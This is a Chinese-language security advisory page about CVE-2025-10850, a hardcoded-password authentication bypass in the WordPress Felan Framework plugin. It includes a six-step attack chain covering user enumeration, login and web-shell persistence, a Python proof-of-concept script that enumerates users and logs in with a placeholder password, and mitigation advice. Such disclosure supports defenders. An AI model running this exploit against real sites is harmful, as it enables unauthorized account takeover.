IPBUF安全漏洞报告
English
CVE-2025-10850 CVSS 9.8 严重

CVE-2025-10850:WordPress Felan Framework插件认证绕过漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-10850
漏洞类型
认证绕过/硬编码密码
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Felan Framework (WordPress插件)

相关标签

认证绕过硬编码密码WordPressFelan Framework社交登录Facebook登录Google登录未认证远程利用权限提升账户接管

漏洞概述

CVE-2025-10850是WordPress Felan Framework插件中存在的一个高危认证绕过漏洞,CVSS评分为9.8,属于严重级别。该漏洞影响Felan Framework插件1.1.4及以下所有版本。漏洞的根本原因在于插件在处理社交登录(Facebook登录和Google登录)时,在'fb_ajax_login_or_register'函数和'google_ajax_login_or_register'函数中使用了硬编码的密码。这意味着任何未经认证的攻击者都可以利用该硬编码密码,以任何已存在的用户身份登录网站,前提是该用户是通过Facebook或Google社交登录注册的,并且未修改过其密码。由于该漏洞无需认证、无需用户交互,且可通过网络远程利用,攻击者可以完全控制受影响的WordPress网站,包括访问敏感数据、修改网站内容、上传恶意文件,甚至完全接管网站。此外,CVE-2025-23504很可能是该漏洞的重复CVE编号。该漏洞由Wordfence安全团队的安全研究员发现并报告,披露日期为2025年10月16日。由于Felan Framework是一个广泛使用的自由职业者市场和工作板WordPress主题/插件,该漏洞对大量使用该插件的网站构成严重威胁。

技术细节

该漏洞的技术根源在于Felan Framework插件的社交登录功能实现中存在硬编码密码缺陷。具体而言,插件在处理Facebook社交登录的AJAX端点'fb_ajax_login_or_register'和处理Google社交登录的AJAX端点'google_ajax_login_or_register'中,开发者将一个固定的硬编码密码用于用户认证流程。当用户通过Facebook或Google OAuth完成社交登录注册时,插件会使用这个硬编码的密码作为用户账户的默认密码存储在WordPress数据库中。由于该密码是硬编码在插件源码中的,任何能够访问插件代码的人(包括攻击者)都可以获知该密码。攻击者利用方式如下:首先,攻击者需要知道目标网站上某个通过社交登录注册的用户的用户名或邮箱地址(这可以通过枚举或其他信息泄露手段获得);然后,攻击者使用标准的WordPress登录接口(如wp-login.php),以目标用户的用户名/邮箱和硬编码密码进行登录;由于密码匹配,WordPress会认证成功,攻击者即可获得该用户账户的完整权限。如果被攻击的用户具有管理员权限,攻击者将获得网站的完全控制权。整个攻击过程无需任何用户交互,无需特殊权限,且可以通过网络远程执行,这使得该漏洞极易被大规模自动化利用。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标网站是否使用Felan Framework插件(版本<=1.1.4),可通过查看页面源代码、插件路径或使用WPScan等工具进行指纹识别。
STEP 2
步骤2:获取硬编码密码
攻击者从插件源码或公开的漏洞信息中获取硬编码密码,该密码硬编码在'fb_ajax_login_or_register'和'google_ajax_login_or_register'函数中。
STEP 3
步骤3:枚举目标用户
通过WordPress的用户枚举功能(如/?author=1、REST API /wp-json/wp/v2/users等),获取通过社交登录注册的用户的用户名或邮箱地址。
STEP 4
步骤4:执行认证绕过
使用获取的用户名和硬编码密码,通过标准的WordPress登录接口(wp-login.php)提交登录请求,绕过认证机制。
STEP 5
步骤5:获取账户权限
认证成功后,攻击者获得目标用户的完整账户权限。若该用户为管理员,攻击者可完全控制网站,包括安装插件、修改主题、访问数据库等。
STEP 6
步骤6:持久化与横向移动
攻击者在获得管理员权限后,可创建新的管理员账户、植入后门、上传Web Shell,实现对网站的持久化控制,并可能进一步攻击托管服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10850 PoC - Felan Framework Hardcoded Password Authentication Bypass # Vulnerability: Hardcoded password in fb_ajax_login_or_register and google_ajax_login_or_register functions # Affected: Felan Framework <= 1.1.4 import requests import re TARGET_URL = "http://target-wordpress-site.com" HARDCODED_PASSWORD = "[HARDCODED_PASSWORD_FROM_SOURCE]" # The hardcoded password found in plugin source code def exploit_auth_bypass(target_url, username, password): """ Exploit the hardcoded password vulnerability to authenticate as any user who registered via Facebook or Google social login. """ session = requests.Session() # Step 1: Get the login page to retrieve any necessary cookies/nonce login_page = session.get(f"{target_url}/wp-login.php") # Step 2: Attempt login with the hardcoded password login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f'{target_url}/wp-admin/', 'testcookie': '1' } # Step 3: Set the test cookie as required by WordPress session.cookies.set('wordpress_test_cookie', 'WP%20Cookie%20check') # Step 4: Submit login request response = session.post( f"{target_url}/wp-login.php", data=login_data, allow_redirects=False ) # Step 5: Check if login was successful if 'wordpress_logged_in' in session.cookies.get_dict(): print(f"[+] Successfully authenticated as: {username}") print(f"[+] Session cookies: {session.cookies.get_dict()}") return True elif response.status_code == 302 and 'wp-admin' in response.headers.get('Location', ''): print(f"[+] Login successful (redirect detected) as: {username}") return True else: print(f"[-] Login failed for: {username}") return False def enumerate_and_exploit(target_url): """ Enumerate WordPress users and attempt authentication bypass """ session = requests.Session() # Enumerate users via WordPress REST API or author enumeration for user_id in range(1, 20): try: resp = session.get(f"{target_url}/?author={user_id}") username_match = re.search(r'author/([^/]+)/', resp.url) if resp.url else None if username_match: username = username_match.group(1) print(f"[*] Found user: {username}") exploit_auth_bypass(target_url, username, HARDCODED_PASSWORD) except Exception as e: continue if __name__ == "__main__": # Direct exploitation with known username exploit_auth_bypass(TARGET_URL, "admin", HARDCODED_PASSWORD) # Or enumerate and exploit all users # enumerate_and_exploit(TARGET_URL)

影响范围

Felan Framework <= 1.1.4

防御指南

临时缓解措施
在等待官方补丁发布期间,建议采取以下临时缓解措施:1)通过修改插件源码中的硬编码密码为随机生成值来临时修复;2)暂时禁用Felan Framework插件的Facebook和Google社交登录功能;3)强制所有通过社交登录的用户修改密码;4)启用WordPress登录限制插件(如Limit Login Attempts Reloaded)来阻止暴力破解尝试;5)启用双因素认证;6)监控wp-login.php的访问日志,查找异常的登录尝试;7)考虑使用Web应用防火墙(WAF)规则来阻止针对社交登录端点的可疑请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表